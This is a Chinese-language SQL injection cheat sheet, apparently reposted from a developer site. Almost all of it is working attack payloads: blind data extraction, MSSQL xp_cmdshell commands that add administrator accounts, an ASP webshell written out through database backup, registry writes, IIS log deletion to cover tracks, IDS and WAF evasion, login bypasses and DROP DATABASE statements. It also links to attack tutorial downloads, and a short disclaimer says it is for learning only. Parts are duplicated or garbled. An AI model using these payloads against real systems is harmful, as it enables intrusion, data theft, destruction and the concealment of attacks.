一、SQL语法基础
SQL语法基础和Oracle注入技巧
https://pan.baidu.com/s/11EOTJ8nHrHqimF8nJJTDvA
提取码:4zep
二、SQL手工注入语句
1.判断是否有注入

;and 1=1
;and 1=2
2.初步判断是否是mssql

;and user>0
3.判断数据库系统

;and (select count() from sysobjects)>0 mssql
;and (select count(
) from msysobjects)>0 access
4.注入参数是字符

‘and [查询条件] and ‘’=’
5.搜索时没过滤参数的

‘and [查询条件] and ‘%25’=’
6.猜数据库

;and (select Count(*) from [数据库名])>0
7.猜字段

;and (select Count(字段名) from 数据库名)>0
8.猜字段中记录长度

;and (select top 1 len(字段名) from 数据库名)>0
9.(1)猜字段的ascii值(access)

;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
(2)猜字段的ascii值(mssql)

;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
10.测试权限结构(mssql)

;and 1=(select IS_SRVROLEMEMBER(‘sysadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘serveradmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘setupadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘securityadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘diskadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’));–
;and 1=(select IS_MEMBER(‘db_owner’));–
11.添加mssql和系统的帐户

;exec master.dbo.sp_addlogin username;–
;exec master.dbo.sp_password null,username,password;–
;exec master.dbo.sp_addsrvrolemember sysadmin username;–
;exec master.dbo.xp_cmdshell ‘net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;–
;exec master.dbo.xp_cmdshell ‘net user username password /add’;–
;exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add’;–
12.(1)遍历目录

;exec master.dbo.sp_addlogin username;–
;exec master.dbo.sp_password null,username,password;–
;exec master.dbo.sp_addsrvrolemember sysadmin username;–
;exec master.dbo.xp_cmdshell ‘net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;–
;exec master.dbo.xp_cmdshell ‘net user username password /add’;–
;exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add’;–
(2)遍历目录

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs ‘c:’;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;-- 获得所有子目录的目录树结构
;insert into temp(id) exec master.dbo.xp_cmdshell ‘type c:webindex.asp’;-- 查看文件的内容
13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues ‘HKEY_LOCAL_MACHINE’,‘SOFTWAREMicrosoftWindowsCurrentVersionRun’ 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread ‘HKEY_LOCAL_MACHINE’,‘SOFTWAREMicrosoftWindowsCurrentVersion’,‘CommonFilesDir’ 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWAREMicrosoftWindowsCurrentVersion’,‘TestvalueName’,‘reg_sz’,‘hello’ 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue ‘HKEY_LOCAL_MACHINE’,‘SOFTWAREMicrosoftWindowsCurrentVersion’,‘TestvalueName’ 删除某个值
xp_regdeletekey ‘HKEY_LOCAL_MACHINE’,‘SOFTWAREMicrosoftWindowsCurrentVersionTestkey’ 删除键,包括该键下所有值
14.mssql的backup创建webshell

use model
create table cmd(str image);
insert into cmd(str) values (’<% Dim oScript %>’);
backup database model to disk=‘c:l.asp’;
15.mssql内置函数

;and (select @@version)>0 获得Windows的版本号
;and user_name()=‘dbo’ 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
16.简洁的webshell

use model
create table cmd(str image);
insert into cmd(str) values (’<%=server.createobject(“wscript.shell”).exec("cmd.exe /c "&request(“c”)).stdout.readall%>’);
backup database model to disk=‘g:wwwtestl.asp’;
三、SQL手工注入方法
前提需要工具(SQL Query Analyzer和SqlExec Sunx Version)

1.去掉xp_cmdshell扩展过程的方法是使用如下语句

if exists (select * from dbo.sysobjects where id=object_id(N’[dbo].[xpcmdshell]’) and OBJECTPROPERTY(id,N’IsExtendedProc’)=1)
exec sp_dropextendedproc N’[dbo].[xp_cmdshell]’
2.添加xp_cmdshell扩展过程的方法是使用如下语句

(1).SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname=‘xplog70.dll’
(2).首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入

sp_addextendedproc ‘xp_cmdshell’,‘xpsql70.dll’
去除

sp_dropextendedproc ‘xp_cmdshell’
(3).MSSQL2000

sp_addextendedproc ‘xp_cmdshell’,‘xplog70.dll’
四、SQL手工注入方法总结(SQL Server2005)-以省略注入点用URL代替
(1).查看驱动器方法

建表p(i为自动编号,a记录盘符类似”c:\”,b记录可用字节,其它省略)

URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar(255),d nvarchar(255));–
URL;insert p exec xp_availablemedia;–列出所有驱动器并插入表p
URL;and (select count(*) from p)>3;–折半法查出驱动器总数
URL;and ascii(substring((select a from p where i=1),1,1))=67;–折半法查出驱动器名(注asc©=67)
上面一般用于无显错情况下使用,以此类推,得到所有驱动器名
URL;and (select a from p where i=1)>3;–报错得到第一个驱动器名
上面一般用于显错情况下使用,以此类推,得到所有驱动器名
URL;;drop table p;–删除表p
(2).查看目录方法

URL;create table pa(m nvarchar(255),i nvarchar(255));–建表pa(m记录目录,i记录深度)
URL;insert pa exec xp_dirtree ’e:’;–列出驱动器e并插入表pa
URL;and (select count(*) from pa where i>0)>-1;–折半法查出i深度
URL;and (select top 1 m from pa where i=1 and m not in(select top 0 m from pa))>0;–报错得到深度i=1的第一个目录名
上面一般用显错且目录名不为数字情况下使用(得到第二个目录把"top 0"换为"top 1",换深度只换i就行)以此类推,得到e盘的所有目录
URL;and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))>0;–折半法查出深度i=1的第一个目录名的长度
URL;and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))>0;–折半法查出深度i=1的第一个目录名的第一个字符长度
上面一般用无显错情况下使用(得到第二个目录把"top 0"换为"top 1",换深度只换i就行)以此类推,得到e盘的所有目录
URL;drop
手工MSSQL注入常用SQL语句

and exists (select * from sysobjects) //判断是否是MSSQL
and exists(select * from tableName) //判断某表是否存在…tableName为表名
and 1=(select @@VERSION) //MSSQL版本
And 1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) //判断是否是系统管理员
and 1=(Select IS_MEMBER(‘db_owner’)) //判断是否是库权限
and 1= (Select HAS_DBACCESS(‘master’)) //判断是否有库读取权限
and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴库名DBID为1,2,3….
;declare @d int //是否支持多行
and 1=(Select count() FROM master.dbo.sysobjects Where xtype = ‘X’ AND name = ‘xp_cmdshell’) //判断XP_CMDSHELL是否存在
and 1=(select count(
) FROM master.dbo.sysobjects where name= ‘xp_regread’) //查看XP_regread扩展存储过程是不是已经被删除
添加和删除一个SA权限的用户test(需要SA权限)

exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某个服务(需要SA权限)

exec master…xp_servicecontrol ‘stop’,’schedule’
exec master…xp_servicecontrol ‘start’,’schedule’
暴网站目录

create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into labeng(lala) values(@result);
and 1=(select top 1 lala from labeng)
或者
and 1=(select count(*) from labeng where lala>1)
SQL Server

判断是否可注入

http://www.test.cn/test.jsp?id=6
http://www.test.cn/test.jsp?id=6′
http://www.test.cn/test.jsp?id=6 and 1=1
http://www.test.cn/test.jsp?id=6 and 1=2
http://www.test.cn/test.jsp?action=value’ and 1=1
http://www.test.cn/test.jsp?action=value’ and 1=2
searchpoints%’ and 1=1
searchpoints%’ and 1=2
确定数据库类型

http://www.test.cn/test.jsp?id=6 and user>0
http://www.test.cn/test.jsp?id=6 and (select count(*) from sysobjects)>0
查询当前用户数据信息

test.jsp?id=6 having 1=1–
暴当前表中的列

test.jsp?id=6 group by admin.username having 1=1–
test.jsp?id=6 group by admin.username,admin.password having 1=1–
暴任意表和列

and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
and (select top col_name(object_id(‘admin’),N) from sysobjects)>1
暴数据库数据

and (select top 1 password from admin where id=N)>1
修改数据库中的数据

;update admin set password=’oooooo’ where username=’xxx’
增添数据库中的数据:

;insert into admin values (xxx,oooooo)–
删数据库:

;drop database webdata
获取当前数据库用户名
and user>0
获取当前数据库名
and db_name()>0
获取数据库版本
and (select @@version)>0
判断是否支持多句查询
;declare @a int–
判断是否支持子查询
and (select count(1) from [sysobjects])>=0
数据库的扩展存储过程
exec master…xp_cmdshell
查看服务器C盘目录
;exec_master…xp_cmdshell ‘dir c:\’
判断扩展存储过程是否存在
and select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
恢复扩展存储过程
;exec sp_addextendedproc xp_cmdshell,’xplog70.dll’
删除扩展存储过程
;exec sp_dropextendedproc ‘xp_cmdshell’
在MSSQL2000中提供了一些函数用于访问OLE对象间接获取权限

;declare @s int
;exec sp_oacreat ‘wscript.shell’,@s
;exec master…spoamethod @s,’run’,null,’cmd.exe/c dir c:\’
判断当前数据库用户名是否拥有比较高的权限

and 1=(select is_srvrolemember(‘sysadmin’))
and 1=(select is_srvrolemember(‘serveradmin’))
and 1=(select is_srvrolemember(‘setupadmin’))
and 1=(select is_srvrolemember(‘securityadmin’))
and 1=(select is_srvrolemember(‘diskadmin’))
and 1=(select is_srvrolemember(‘bulkadmin’))
判断当前数据库用户名是否为DB_OWNER

and 1=(select is_member(‘db_owner’))
在SQLSERVER的master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有数据库信息,只需要PUBLIC权限就可以对此表进行SELECT操作

r by dbid)>0
and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0
删除日志记录

;exec master.dbo.xp_cmdshell ‘del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’
替换日志记录

;exec master.dbo.xp_cmdshell ‘copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’
获取WEB路径

;declare @shell int
;exec master…sp_oamethod ‘wscript.shell’,@shell out
;exec master…sp_oamethod @shell,’run’,null,’cmd.exe/c dir /s d:/index.asp >c:/log.txt
利用XP_CMDSHELL搜索

;exec master…xp_cmdshell ‘dir /s d:/index.asp’
显示服务器网站配置信息命令

cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root
利用XP_REGREAD可用PUBLIC权限读取

;exec master.dbo.xp_regread
hkey_local_machine,
‘system\currentcontrolset\services\w3svc\parameters\virtual roots\’
‘/’
五、SQLSERVER下的高级技术
DSqlHelper

检测权限SYSADMIN

and 1=(select IS_SRVROLEMEMBER(‘sysadmin’))
serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。
检测XP_CMDSHELL(CMD命令)

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_cmdshell’)
检测XP_REGREAD(注册表读取功能)

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_regread’)
检测SP_MAKEWEBTASK(备份功能)

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_makewebtask’)
检测SP_ADDEXTENDEDPROC

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_addextendedproc’)
检测XP_SUBDIRS读子目录

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_subdirs’)
检测XP_DIRTREE读子目录

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_dirtree’)
修改内容

; UPDATE 表名 set 字段=内容 where 1=1
XP_CMDSHELL检测

;exec master…xp_cmdshell ‘dir c:\’
修复XP_CMDSHELL

;exec master.dbo.sp_addextendedproc ‘xp_cmdshell’, ‘xplog70.dll’
用XP_CMDSHELL添加用户hacker

;exec master.dbo.xp_cmdshell ‘net user hacker 123456 /add’
XP_CMDSHELL把用户hacker加到ADMIN组

;exec master.dbo.xp_cmdshell ‘net localgroup administrators hacker /add’
创建表test

;create table [dbo].[test] ([dstr]char);
检测表段test

and exists (select * from test)
读取WEB的位置(读注册表)

;DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’, ‘/’,@result output insert into test (dstr) values(@result);–
爆出WEB的绝对路径(显错模式)

and 1=(select count(*) from test where dstr > 1)
删除表test

;drop table test;–
创建查看目录的表dirs

;create table dirs(paths varchar(100), id int)
把查看目录的内容加入表dirs

;insert dirs exec master.dbo.xp_dirtree ‘c:\’
爆目录的内容dirs

and 0<>(select top 1 paths from dirs)
备份数据库DATANAME

declare @a sysname; set @a=db_name();backup DATANAME @a to disk=’c:\inetpub\wwwroot\down.bak’;–
删除表dirs

;drop table dirs;–
创建表temp

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
把驱动盘列表加入temp表

;insert temp exec master.dbo.xp_availablemedia;–
删除表temp

;delete from temp;–
创建表dirs

;create table dirs(paths varchar(100), id int);–
获得子目录列表XP_SUBDIRS

;insert dirs exec master.dbo.xp_subdirs ‘c:\’;–
爆出内容(显错模式)

and 0<>(select top 1 paths from dirs)
删除表dirs

;delete from dirs;–
创建表dirs

;create table dirs(paths varchar(100), id int)–
用XP_CMDSHELL查看目录内容

;insert dirs exec master…xp_cmdshell ‘dir c:\’
检测SP_OAcreate(执行命令)

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘SP_OAcreate’)
SP_OAcreate执行CMD命令

;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net user hacker 123456 /add’
SP_OAcreate建目录

;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111’
创建一个虚拟目录E盘

;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默认 Web 站点” -v “e”,”e:\”‘
设置虚拟目录E为可读

;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse’
启动SERVER服务

;exec master…xp_servicecontrol ‘start’, ‘server’
绕过IDS检测XP_CMDSHELL

;declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ‘dir c:\’
开启远程数据库1

; select * from OPENROWSET(‘SQLOLEDB’, ‘server=servername;uid=sa;pwd=apachy_123’, ‘select * from table1’ )
开启远程数据库2

;select * from OPENROWSET(‘SQLOLEDB’, ‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ‘select * from table’
六、SQL注入技巧
绕过登录界面

admin’ —
admin’ #
admin’/*
‘ or 1=1–
‘ or 1=1#
‘ or 1=1/*
‘) or ‘1’=’1–
‘) or (‘1’=’1–
判断是否存在admin表,并且判断表中存在哪些列名
http://127.0.0.1/news.jsp?id=99 and (select count(pwd) from admin)<>0
判断管理员账号用户名的长度
http://127.0.0.1/news.jsp?id=99 and (select count() from admin where length(name)>=5)=1
判断用户名的第一个字母的ascii值
http://127.0.0.1/news.jsp?id=99 and (select count(
) from admin where ascii(substr(pwd,1,1))>=97)=1
http://127.0.0.1/news.jsp?id=99 and (select count() from admin where ascii(substr(pwd,2,1))>=100)=1

判断管理员账号密码的长度
http://127.0.0.1/news.jsp?id=99 and (select count(
) from admin where length(pwd)>=8)=1
以不同的用户登录(SM*)

‘UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–
判断是否root用户

IF EXISTS (SELECT * FROM users WHERE username = ‘root’) BENCHMARK(1000000000,MD5(1))
判断表是否存在

IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
行间注释

注释掉查询语句的其余部分

行间注释通常用于忽略掉查询语句的其余部分,这样就不用处理因为注入导致的语法变动

DROP sampletable;–
DROP sampletable;#
行间注释的SQL注入攻击示例

SELECT * FROM members WHERE username = ‘admin’–’ AND password = ‘password’
以admin用户身份登录,因为其余部分的SQL语句被注释掉了

行内注释

通过不关闭的注释,注释掉查询语句的其余部分,或者用于绕过黑名单过滤、移除空格、迷惑和探测数据库版本

DROP/注释/sampletable
DR//OP/绕过过滤/sampletable
SELECT/消除空格/password/
/FROM/**/Members
SELECT /*!32302 1/0, */ 1 FROM tablename
如果 MySQL 版本高于 23.02 会抛出一个除数为 0(division by 0)的错误

ID: 10; DROP TABLE members /*
在查询结尾简单地去除其他内容,等同于

10; DROP TABLE members —
堆叠查询

SELECT * FROM members; DROP members–
SELECT * FROM products WHERE id = 10; DROP members–
MySQL的If语句

IF(condition,true-part,false-part)(M)
SELECT IF(1=1,‘true’,‘false’)
SQL Server的If语句

IF condition true-part ELSE false-part(S)
IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’
Oracle的If语句

BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END;(O)
IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
PostgreSQL的If语句

SELECT CASE WHEN condition THEN true-part ELSE false-part END;(P)
SELECT CASE WEHEN (1=1) THEN ‘A’ ELSE 'B’END;
If语句的SQL注入攻击示例

if ((select user) = ‘sa’ OR (select user) = ‘dbo’) select 1 else select 1/0 (S)
如果当前登录的用户不是 ”sa” 或 “dbo”,语句会抛出 除数为0 的错误。

整数的使用

对于绕过非常有用,如magic_quotes()和类似的过滤器,甚至是各种WAF

SELECT CHAR(0x66)(S)
SELECT 0x5045 (这不是一个整数,而会是一个 16 进制字符串)(M)
SELECT 0x50 + 0x45 (现在这个是整数了!)(M)
字符串操作

字符串相关的操作。这些对于构造不含引号、绕过黑名单或探测后端数据库的注入非常有用。

字符串的连结

SELECT login + ‘-’ + password FROM members
||
SELECT login || ‘-’ || password FROM members
连接参数里提供的字符串

CONCAT(str1, str2, str3, …)
SELECT CONCAT(login, password) FROM members
Union注入

通过union你能跨表执行 SQL 查询。 基本上可以污染(注入)查询使它返回另一个表的记录

查询会联结并返回news表和members表的所有记录

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
’ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–
相关文章

https://www.jb51.net/hack/575622.html
https://blog.csdn.net/zzq19860626/article/details/10220427
https://www.cnblogs.com/safoie/p/10521654.html
https://www.cnblogs.com/wangyinghao/p/5885405.html
https://www.cnblogs.com/xiebin1986/p/3819049.html
SQL防注入大全

https://blog.csdn.net/johnsuna/article/details/53373635
SQL注入和XSS跨站视频教程

SQL注入篇
https://pan.baidu.com/s/1dPjj1bUhVCnUgCcYDoxgHg
提取码:dowq
XSS跨站篇
https://pan.baidu.com/s/1YoWKoCTp9mlKx9smhvlDdQ
提取码:l8ft
常见漏洞(代码执行、命令执行、目录遍历等)
https://pan.baidu.com/s/1XudjmY9j_Yi8qQaJy7b7yQ
提取码:41c4
声明:仅用于技术学习,切勿用于非法用途

原文:https://dotnet9.com/18808.html

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐